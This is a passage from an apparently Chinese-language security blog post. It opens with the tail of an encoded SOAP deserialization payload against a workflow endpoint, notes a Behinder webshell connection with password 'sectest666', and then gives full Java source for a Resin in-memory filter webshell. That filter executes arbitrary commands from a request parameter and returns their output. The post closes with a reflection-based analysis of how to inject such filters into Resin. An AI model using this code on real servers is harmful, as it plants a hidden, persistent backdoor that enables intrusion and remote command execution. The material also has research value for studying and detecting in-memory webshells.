&#109;&#101;&#100;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#97;&#116;&#97;&#83;&#111;&#117;&#114;&#99;&#101;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#116;&#114;&#97;&#110;&#115;&#102;&#101;&#114;&#70;&#108;&#97;&#118;&#111;&#114;&#115;&#47;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#97;&#116;&#97;&#72;&#97;&#110;&#100;&#108;&#101;&#114;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#100;&#97;&#116;&#97;&#76;&#101;&#110;&gt;&#48;&lt;&#47;&#100;&#97;&#116;&#97;&#76;&#101;&#110;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&apos;&#46;&#46;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&apos;&#47;&gt;&#13;&#10;&#32;&#32;&lt;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&gt;&#13;&#10;&lt;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&gt;
</web:in0>
<!--type: int-->
<web:in1>3</web:in1>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

​ 访问SystemRightqroup.jsp,使用冰蝎3连接,密码sectest666

image-20210513205756559

写内存马

​ 之前想要写resin的内存马,看网上的文章是需要获取webapp对象,但是我经过分析并没有找到可以获取webapp对象的方法,今天刚好在网上看到了有人给出了resin写内存马的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
ClassLoader classloader = Thread.currentThread().getContextClassLoader();

Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");

Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp)contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);

String newFilterStr = "newfilter";
Filter newFilter = new newfilter();
Class newFiltercls = newFilter.getClass();

FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();
filterConfigimpl.setFilterName(newFilterStr);
filterConfigimpl.setFilter(newFilter);
filterConfigimpl.setFilterClass(newFiltercls);

webapp.addFilter(filterConfigimpl);

FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();
FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
filterMappingUrlpattern.addText("/abcd");
filterMappingUrlpattern.init();
filterMapping.setFilterName(newFilterStr);
filterMapping.setServletContext(webapp);


//set filtterMapper
Field fieldWebappFilterMapper = null;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
}catch (NoSuchFieldException Exception){
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
}

fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);

Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);

ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
newFilterMappings.add(filterMapping);

int count = 0;
while(count < orginalfilterMappings.size()){
newFilterMappings.add(orginalfilterMappings.get(count));
++ count;
}

fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);

//set loginFilterMapper
Field fieldWebappLoginFilterMapper = null;
try{
fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper");
}catch (NoSuchFieldException Exception){
fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper");
}

fieldWebappLoginFilterMapper.setAccessible(true);
FilterMapper loginFilterMapper = (FilterMapper)fieldWebappLoginFilterMapper.get(webapp);

ArrayList<FilterMapping> orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper);
ArrayList<FilterMapping> newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1);
newLoginFilterMappings.add(filterMapping);

count = 0;
while( count < orginLoginFilterMappings.size()){
newLoginFilterMappings.add(orginLoginFilterMappings.get(count));
++ count;
}

fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings);
fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper);


webapp.getClass().getMethod("clearCache").invoke(webapp);

​ 下面我也实现了一个filter cmd马的demo,这里需要注意的是,通过filter内存马不能植入冰蝎,因为冰蝎需要获取pagecontext对象,而filter无法获取pagecontext对象。

1
import com.caucho.server.dispatch.FilterConfigImpl;import com.caucho.server.dispatch.FilterMapper;import com.caucho.server.dispatch.FilterMapping;import com.caucho.server.webapp.WebApp;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.ArrayList;public class HelloWorld extends HttpServlet {    class ResinFilter implements Filter {        private final String cmdParamName = "sectest666";        private ResinFilter() {        }        public void init(FilterConfig filterConfig) throws ServletException {        }        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {            String cmd;            if ((cmd = servletRequest.getParameter("sectest666")) == null) {                filterChain.doFilter(servletRequest, servletResponse);            } else {                Process process = Runtime.getRuntime().exec(cmd);                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));                StringBuilder stringBuilder = new StringBuilder();                String line;                while((line = bufferedReader.readLine()) != null) {                    stringBuilder.append(line + '\n');                }                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());                servletResponse.getOutputStream().flush();                servletResponse.getOutputStream().close();            }        }        public void destroy() {        }    }    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        ClassLoader classloader = Thread.currentThread().getContextClassLoader();        Class servletInvocationcls = null;        try {             servletInvocationcls = classloader.loadClass("com.caucho.server.webapp.WebApp");            Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");            Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");            Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");            WebApp webapp =  (WebApp)servletInvocationcls.getMethod("getCurrent").invoke(null);//            WebApp webapp = servletService.getMethod("getDefaultWebApp").invoke(null);            String newFilterStr = "ResinShell";            Filter test=new ResinFilter();            Class ResinFilter=test.getClass();            FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();            filterConfigimpl.setFilterName(newFilterStr);            filterConfigimpl.setFilter(test);            filterConfigimpl.setFilterClass(ResinFilter);            webapp.addFilter(filterConfigimpl);            FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();            FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();            filterMappingUrlpattern.addText("/abcd");            filterMappingUrlpattern.init();            filterMapping.setFilterName(newFilterStr);            filterMapping.setServletContext(webapp);            Field fieldWebappFilterMapper = null;            try {                fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");            } catch (NoSuchFieldException var23) {                fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");            }            fieldWebappFilterMapper.setAccessible(true);            FilterMapper filtermapper = (FilterMapper)fieldWebappFilterMapper.get(webapp);            Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");            fieldFilterMapperFilterMap.setAccessible(true);            ArrayList<FilterMapping> orginalfilterMappings = (ArrayList)fieldFilterMapperFilterMap.get(filtermapper);            ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);            newFilterMappings.add(filterMapping);            int count;            for(count = 0; count < orginalfilterMappings.size(); ++count) {                newFilterMappings.add(orginalfilterMappings.get(count));            }            fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);            fieldWebappFilterMapper.set(webapp, filtermapper);            Field fieldWebappLoginFilterMapper = null;            try {                fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper");            } catch (NoSuchFieldException var22) {                fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper");            }            fieldWebappLoginFilterMapper.setAccessible(true);            FilterMapper loginFilterMapper = (FilterMapper)fieldWebappLoginFilterMapper.get(webapp);            ArrayList<FilterMapping> orginLoginFilterMappings = (ArrayList)fieldFilterMapperFilterMap.get(loginFilterMapper);            ArrayList<FilterMapping> newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1);            newLoginFilterMappings.add(filterMapping);            for(count = 0; count < orginLoginFilterMappings.size(); ++count) {                newLoginFilterMappings.add(orginLoginFilterMappings.get(count));            }            fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings);            fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper);            webapp.getClass().getMethod("clearCache").invoke(webapp);        }        catch (ClassNotFoundException | NoSuchMethodException e) {            e.printStackTrace();        } catch (InstantiationException e) {            e.printStackTrace();        } catch (InvocationTargetException e) {            e.printStackTrace();        } catch (NoSuchFieldException e) {            e.printStackTrace();        } catch (IllegalAccessException e) {            e.printStackTrace();        } catch (Exception e) {            e.printStackTrace();        }    }    @Override    public void destroy() {        System.out.println("servlet has been destory!!!");        super.destroy();    }}

​ 访问servlet后会注入filter,大致效果如下

image-20210514162909484

Filter内存马原理分析

​ 首先我们自己注册一个Filter,查看到达自定义filter的调用链,可以看到我们自定义的filter被存储在this._filter中,而this._filter又是通过创建FilterFilterChain对象得到的赋值,因此需要去搜索哪里创建了这个对象。

image-20210515124917837

​ 所以我们在com.caucho.server.dispatch.FilterFilterChain#FilterFilterChain方法上创建一个方法断点,重启webserver,在com.caucho.server.dispatch.FilterMapper#addFilter中进行了调用,addFilter中的chain和filter主要来自于上层调用的com.caucho.server.dispatch.FilterMapper#buildDispatchChain方法,因此我们需要分析这个方法。

image-20210515125750903

​ 我们主要关注如何得到filter,filter对象是通过this._filterManager.createFilter(filterName);执行后得到的结果,其中filteName是通过this._filterMap得到的,所以要创建filter需要得到this._filterMap

image-20210515130534518

​ 在看看com.caucho.server.dispatch.FilterManager#createFilter方法,即使获取了filterName对象,需要从this._filters获取对应的FilterConfigImpl实现类。可以通过com.caucho.server.dispatch.FilterManager#addFilter进行添加。需要传入一个FilterConfigImpl实例。

image-20210515130803038

image-20210515143736696

​ 在addFilter处下一个方法断点,可以看到通过com.caucho.server.webapp.WebApp#addFilter(com.caucho.server.dispatch.FilterConfigImpl)调用了addFilter方法。这里需要一个this._filterManager对象,在初始化webApp类时即可获取该对象,因此只要得到WebApp即可获取 _filterManager.

image-20210515144121944

​ 再看看 _filterMap是如何获取的,可以看到是在com.caucho.server.dispatch.FilterMapper#addFilterMapping中通过this._filterMap.add(mapping);添加得到的。但这里有两点需要注意,一方面是mapping也是传进来的,另一方面只有this._filterManager.getFilter(filterName)不为空才会执行add方法。所以再调用add之前需要给this._filterManager添加我们的FilterConfigImpl对象。

image-20210515144738186

image-20210515145059406

​ 同样在addFilterMapping打断点,可以看到是在WebApp.addFilterMapping方法调用了该方法.

image-20210515150152386

​ 查看自定义Filter,在创建FilterConfigImpl对象时,包含了_filterName, _filterClassName, _filterClass, _webApp, _servletContext, _filerManager信息,所以我们动态创建的FilterConfigImpl对象也应该包含这些信息。

image-20210515152308565

​ 但是在com.caucho.server.webapp.WebApp#addFilterMapping中需要创建FilterMapping对象,查看类的继承关系,发现FilterMapping是FilterConfigImpl的子类,因此直接创建FilterMapping就好了。

image-20210515165358412

​ 所以整体的Filter型内存马思路如下:

1
1. 获取WebApp对象2. 创建FilterMapping对象,并设置_filterName, _filterClassName, _filterClass, _webApp, _servletContext, _filerManager,_urlpattern等信息。3. 通过WebApp.addFilterMapping设置 _filter的信息。
获取WebApp对象

​ 首先是要获取WebApp的类加载器,我们可以通过ThreadContext获取,其次要获取WebApp对象,所以要寻找返回WebApp对象的方法,最好是static的,static的话我们可以直接通过反射获取而不用再去获取那个对象。经过搜索可以通过调用com.caucho.server.webapp.WebApp#getCurrent来获取,所以获取WebApp对象的代码如下。

1
ClassLoader classloader = Thread.currentThread().getContextClassLoader(); Class app = classloader.loadClass("com.caucho.server.webapp.WebApp"); WebApp webapp =  (WebApp)servletInvocationcls.getMethod("getCurrent").invoke(null);
创建FilterMapping对象
1
FilterMapping mapping=new FilterMapping();            mapping.setFilterName("test666"); //设置_filterName            Filter test=new ResinFilter();            mapping.setFilter(test);            Class ResinFilter=test.getClass(); //获取要FilterClass            mapping.setFilterClass(ResinFilter);//设置_filerClass            mapping.setWebApp(webapp); //设置webapp            webapp.addFilter(mapping); //设置servletContext,_filterManager和webApp,调用com.caucho.server.dispatch.FilterManager#addFilter向_filters中添加内容。            FilterMapping.URLPattern part=mapping.createUrlPattern();            part.addText("test666");// 向_urlPattern和_urlPatterns添加内容。            webapp.addFilterMapping(mapping); //向_filterMapper写入内容。

​ 最后整体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ClassLoader classloader = Thread.currentThread().getContextClassLoader();
Class app = null;
try {
app = classloader.loadClass("com.caucho.server.webapp.WebApp");
WebApp webapp = (WebApp)app.getMethod("getCurrent").invoke(null);
FilterMapping mapping=new FilterMapping();
mapping.setFilterName("test666"); //设置_filterName
Filter test=new ResinFilter();
mapping.setFilter(test);
Class ResinFilter=test.getClass(); //获取要FilterClass
mapping.setFilterClass(ResinFilter);//设置_filerClass
mapping.setWebApp(webapp); //设置webapp
webapp.addFilter(mapping); //设置servletContext,_filterManager和webApp,调用com.caucho.server.dispatch.FilterManager#addFilter向_filters中添加内容。
FilterMapping.URLPattern part=mapping.createUrlPattern();
part.addText("test666");// 向_urlPattern和_urlPatterns添加内容。
webapp.addFilterMapping(mapping); //向_filterMapper写入内容。
} catch (ClassNotFoundException | NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}